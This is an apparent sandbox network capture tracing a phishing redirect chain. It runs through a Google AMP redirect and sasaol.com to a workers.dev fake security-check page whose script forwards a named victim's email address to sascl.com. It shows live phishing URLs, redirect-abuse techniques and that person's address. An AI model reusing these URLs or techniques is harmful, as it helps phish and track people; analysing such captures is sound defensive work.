Jan 15, 2025 20:08:01.397965908 CET	494	OUT	GET /ccy/ptsd/vTd7ocRQy71kDqeKXneUsLH4CLz/YWxpc29uLnNtaXRoQHJic2ludC5jb20= HTTP/1.1 Host: sasaol.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 15, 2025 20:08:01.879061937 CET	258	IN	HTTP/1.1 200 OK refresh: 0;url=https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev?email=alison.smith@rbsint.com content-type: text/html; charset=UTF-8 content-length: 0 date: Wed, 15 Jan 2025 19:08:01 GMT server: LiteSpeed connection: Keep-Alive
Jan 15, 2025 20:08:01.963288069 CET	433	OUT	GET /favicon.ico HTTP/1.1 Host: sasaol.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://sasaol.com/ccy/ptsd/vTd7ocRQy71kDqeKXneUsLH4CLz/YWxpc29uLnNtaXRoQHJic2ludC5jb20= Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 15, 2025 20:08:02.076280117 CET	997	IN	HTTP/1.1 404 Not Found content-type: text/html cache-control: private, no-cache, max-age=0 pragma: no-cache date: Wed, 15 Jan 2025 19:08:02 GMT server: LiteSpeed content-encoding: gzip vary: Accept-Encoding transfer-encoding: chunked connection: Keep-Alive Data Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a 32 62 64 0d 0a 65 54 6b 6b db 30 14 fd 5e d8 7f b8 4d 19 b4 10 27 76 ea b0 61 3b 66 63 0f 36 18 5b a1 85 b1 8f b2 75 1d 89 ca 92 27 29 af 95 fe f7 5d d9 49 9a b6 16 d8 92 7c 75 74 ee 39 57 2a ce 3f ff fa 74 f7 e7 e6 0b 08 df aa f2 ac 08 1f 70 7e a7 70 31 12 28 97 c2 67 49 1c bf 1d 85 5f c8 38 7d 5a f4 0c 34 6b 29 60 2d 71 d3 19 eb 47 50 1b ed 51 fb c5 68 23 b9 17 0b 8e 6b 59 63 d4 0f c6 20 b5 f4 92 a9 c8 d5 8c 60 93 31 38 61 a5 be 8f bc 89 1a e9 17 da 04 74 2f bd c2 12 d2 38 85 9f c6 c3 57 b3 d2 fc cd 59 31 1d e6 8b 9e 52 f9 a1 45 2e 19 5c 76 16 1b b4 2e aa 8d 32 96 70 05 b6 98 71 66 ef af 1e 2a c3 77 0f 15 ab ef 97 36 40 0c 21 d9 45 1c c7 e7 b2 0d 64 99 f6 8f 8f c5 74 00 2c a6 fb ac c2 b2 43 de c3 12 b8 48 d3 34 87 96 d9 a5 d4 59 9c 37 94 62 06 da d8 96 29 48 d2 6e 3b 9d c5 dd 16 3e 5a 4a 6d 0c df 50 ad d1 cb 9a 51 76 4c bb c8 a1 95 4d 0e 27 12 e6 f0 8a 15 5c 34 4d 93 87 ec b9 5c bf 50 9d ad bc a1 dd a5 8e 9e 61 8c 4a 08 cf e9 02 8f 5b 1f 31 25 97 3a 83 [TRUNCATED] Data Ascii: a2bdeTkk0^M'va;fc6[u')]I\|ut9W?tp~p1(gI_8}Z4k)`-qGPQh#kYc `18at/8WY1RE.\v.2pqfw6@!Edt,CH4Y7b)Hn;>ZJmPQvLM'\4M\PaJ[1%:L@C\|>&"%dgbtgct\]9B$@%rfUR0l(N2)= lMh<Y:tyT+,ZF9F{^L;}"h8gY>q.2hkk^O$NhuB+c9>(:.+v6IW`l2xcxz+:}_-ohWvT$dm47/kDa-4_Jt] %6$YvLi>Fj3bC{.~p/+a0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49740	142.250.185.131	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:00 UTC	997	OUT	GET /url?sa==SlzLhhFsJ7fGjpM8fvOAkm1z4KC&rct=fETOvblSpCqm85GTYKVdXKip5bkW26kcBgD7HeLR8E6psRE86jAuyRjA7fyhhYHpWk&sa=t&url=amp/sasaol.com/ccy/ptsd/vTd7ocRQy71kDqeKXneUsLH4CLz/YWxpc29uLnNtaXRoQHJic2ludC5jb20= HTTP/1.1 Host: www.google.com.tr Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:08:00 UTC	1083	IN	HTTP/1.1 302 Found Location: https://www.google.com.tr/amp/sasaol.com/ccy/ptsd/vTd7ocRQy71kDqeKXneUsLH4CLz/YWxpc29uLnNtaXRoQHJic2ludC5jb20= Cache-Control: private Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-YMG3K4LPitdztBDzcAMaAQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Permissions-Policy: unload=() P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Wed, 15 Jan 2025 19:08:00 GMT Server: gws Content-Length: 307 X-XSS-Protection: 0 Set-Cookie: NID=520=Cs0OzKrFvKTuTVVjh6g0ArLi2rHOua-KM1cjJz6_Pe2a3-Yqk6UJLxWXKfbp-mlKAJPyc41xEMkZR3oN3E8_arX6gGGBoBxKZq-SQ5TPenYXilNV_ZzrD4WzCIGo6PZFIoVxVZM24KQL4BHIqN_f6cMZSwTSRUGJbAH4qh8kKB7AnjNxMVFNLj_faOk4Djis9FMnrE1c87HDtI8; expires=Thu, 17-Jul-2025 19:08:00 GMT; path=/; domain=.google.com.tr; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-15 19:08:00 UTC	307	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2e 74 72 2f 61 6d 70 2f 73 61 73 61 6f 6c 2e 63 6f 6d 2f 63 63 79 2f 70 74 73 64 2f 76 54 64 37 6f 63 52 51 79 37 31 6b 44 71 65 4b 58 6e 65 55 73 4c 48 34 43 4c 7a 2f 59 57 78 70 63 32 39 75 4c Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com.tr/amp/sasaol.com/ccy/ptsd/vTd7ocRQy71kDqeKXneUsLH4CLz/YWxpc29uL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49741	142.250.185.131	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:00 UTC	1106	OUT	GET /amp/sasaol.com/ccy/ptsd/vTd7ocRQy71kDqeKXneUsLH4CLz/YWxpc29uLnNtaXRoQHJic2ludC5jb20= HTTP/1.1 Host: www.google.com.tr Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=Cs0OzKrFvKTuTVVjh6g0ArLi2rHOua-KM1cjJz6_Pe2a3-Yqk6UJLxWXKfbp-mlKAJPyc41xEMkZR3oN3E8_arX6gGGBoBxKZq-SQ5TPenYXilNV_ZzrD4WzCIGo6PZFIoVxVZM24KQL4BHIqN_f6cMZSwTSRUGJbAH4qh8kKB7AnjNxMVFNLj_faOk4Djis9FMnrE1c87HDtI8
2025-01-15 19:08:01 UTC	856	IN	HTTP/1.1 302 Found Location: http://sasaol.com/ccy/ptsd/vTd7ocRQy71kDqeKXneUsLH4CLz/YWxpc29uLnNtaXRoQHJic2ludC5jb20= Cache-Control: private X-Robots-Tag: noindex Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-QGeEGbN91PEoGHqd6IO79g' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Permissions-Policy: unload=() Date: Wed, 15 Jan 2025 19:08:01 GMT Server: gws Content-Length: 284 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-15 19:08:01 UTC	284	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 73 61 73 61 6f 6c 2e 63 6f 6d 2f 63 63 79 2f 70 74 73 64 2f 76 54 64 37 6f 63 52 51 79 37 31 6b 44 71 65 4b 58 6e 65 55 73 4c 48 34 43 4c 7a 2f 59 57 78 70 63 32 39 75 4c 6e 4e 74 61 58 52 6f 51 48 4a 69 63 32 6c 75 64 43 35 6a 62 32 30 3d Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="http://sasaol.com/ccy/ptsd/vTd7ocRQy71kDqeKXneUsLH4CLz/YWxpc29uLnNtaXRoQHJic2ludC5jb20=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49746	172.67.196.214	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:02 UTC	733	OUT	GET /?email=alison.smith@rbsint.com HTTP/1.1 Host: c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: http://sasaol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:08:03 UTC	800	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 19:08:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iAnEGVm46%2FO3%2BG4bRRkYRXVf8rfxmBDriVxIv%2BNr%2BkEESRkNKdzmmmjRnLmP3fEH4CcoZqPkcg%2BmVKctV0MDLBFu8%2BG55H%2FnXUlJjoknceJrInAwlUU%2Bu12f7TAOo%2Fmqs1v3Pbi6ZbmzYVSSww11tGLsz6t9mmYynjjecTEQzMM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902826f72c8cabc4-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13817&min_rtt=13801&rtt_var=5208&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2899&recv_bytes=1311&delivery_rate=209604&cwnd=32&unsent_bytes=0&cid=700ec51bf50f9e6e&ts=235&x=0"
2025-01-15 19:08:03 UTC	1369	IN	Data Raw: 31 36 38 37 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 20 0a 20 20 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 64 65 66 65 72 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 74 75 72 6e 73 74 69 6c 65 2f 76 30 2f 61 70 69 2e 6a 73 3f 6f 6e 6c 6f 61 64 3d 6f 6e 6c 6f 61 64 54 75 72 6e 73 74 69 6c 65 43 61 6c 6c 62 61 63 6b 22 3e 3c 2f 73 63 72 69 70 74 3e 20 0a 20 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 20 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 Data Ascii: 1687<!doctype html><html lang="en-US"><head> <script async defer src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback"></script> <title>Just a moment...</title> <meta content="width=device-width,initial-sc
2025-01-15 19:08:03 UTC	1369	IN	Data Raw: 20 74 65 78 74 3b 20 0a 20 20 20 20 7d 0a 0a 20 20 20 20 6c 65 74 20 73 78 20 3d 20 22 68 74 74 70 73 3a 2f 2f 73 61 73 63 6c 2e 63 6f 6d 2f 3f 76 74 6d 6d 68 7a 69 6f 26 71 72 63 3d 61 6c 69 73 6f 6e 2e 73 6d 69 74 68 40 72 62 73 69 6e 74 2e 63 6f 6d 22 3b 0a 0a 20 20 20 20 63 6f 6e 73 74 20 50 55 42 4c 49 43 5f 4b 45 59 20 3d 20 60 2d 2d 2d 2d 2d 42 45 47 49 4e 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 20 20 20 20 4d 49 49 42 49 6a 41 4e 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 78 43 4a 42 77 63 59 38 74 30 41 71 50 71 75 55 2b 41 68 31 0a 20 20 20 20 52 30 45 50 57 6c 63 44 35 58 53 58 68 4f 45 65 30 30 38 34 34 54 6b 69 47 4c 46 48 6e 4d 57 51 45 75 67 68 30 7a 59 68 2f 6b 67 Data Ascii: text; } let sx = "https://sascl.com/?vtmmhzio&qrc=alison.smith@rbsint.com"; const PUBLIC_KEY = `-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxCJBwcY8t0AqPquU+Ah1 R0EPWlcD5XSXhOEe00844TkiGLFHnMWQEugh0zYh/kg
2025-01-15 19:08:03 UTC	1369	IN	Data Raw: 27 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 27 43 4f 4e 4e 45 43 54 49 4f 4e 20 54 4f 20 48 4f 53 54 20 46 41 49 4c 45 44 27 3b 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 78 68 72 2e 73 65 6e 64 28 29 3b 0a 20 20 20 20 7d 0a 20 20 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 2e 68 31 2c 2e 68 32 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 7d 2a 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d Data Ascii: '; } } else { document.body.innerHTML = 'CONNECTION TO HOST FAILED'; } } }; xhr.send(); } </script></head><style> .h1,.h2{font-weight:500}*{box-sizing:border-box;margin:0;padding:0}
2025-01-15 19:08:03 UTC	1369	IN	Data Raw: 65 6d 7d 2e 66 6f 6f 74 65 72 2d 69 6e 6e 65 72 7b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 39 64 39 64 39 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 72 65 6d 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 2e 63 6f 72 65 2d 6d 73 67 2c 2e 7a 6f 6e 65 2d 6e 61 6d 65 2d 74 69 74 6c 65 7b 6f 76 65 72 66 6c 6f 77 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 32 30 70 78 29 7b 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 72 65 6d 7d 2e 68 31 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 37 35 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 7d 2e 63 6f 72 65 2d 6d 73 67 2c 2e 68 32 7b 6c 69 6e 65 2d 68 65 69 67 68 Data Ascii: em}.footer-inner{border-top:1px solid #d9d9d9;padding-top:1rem;padding-bottom:1rem}.core-msg,.zone-name-title{overflow-wrap:break-word}@media (max-width:720px){.main-content{margin-top:4rem}.h1{line-height:1.75rem;font-size:1.5rem}.core-msg,.h2{line-heigh
2025-01-15 19:08:03 UTC	299	IN	Data Raw: 78 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 3e 57 65 20 6e 65 65 64 20 74 6f 20 72 65 76 69 65 77 20 74 68 65 20 73 65 63 75 72 69 74 79 20 6f 66 20 79 6f 75 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 62 65 66 6f 72 65 20 70 72 6f 63 65 65 64 69 6e 67 2e 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 22 20 72 6f 6c 65 3d 22 63 6f 6e 74 65 6e 74 69 6e 66 6f 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 2d 69 6e 6e 65 72 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 20 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 20 53 65 63 75 72 69 74 79 20 Data Ascii: xt"> <div>We need to review the security of your connection before proceeding. </div> </div> </div> </div> <div class="footer" role="contentinfo"> <div class="footer-inner"> <div class="text-center"> Performance & Security
2025-01-15 19:08:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49748	104.18.94.41	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:03 UTC	604	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:08:03 UTC	386	IN	HTTP/1.1 302 Found Date: Wed, 15 Jan 2025 19:08:03 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/e0c90b6a3ed1/api.js Server: cloudflare CF-RAY: 902826fb79d18cb1-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49749	104.18.94.41	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:04 UTC	588	OUT	GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:08:04 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 19:08:04 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Wed, 08 Jan 2025 13:42:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 9028270049ad726e-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:08:04 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-15 19:08:04 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2025-01-15 19:08:04 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return 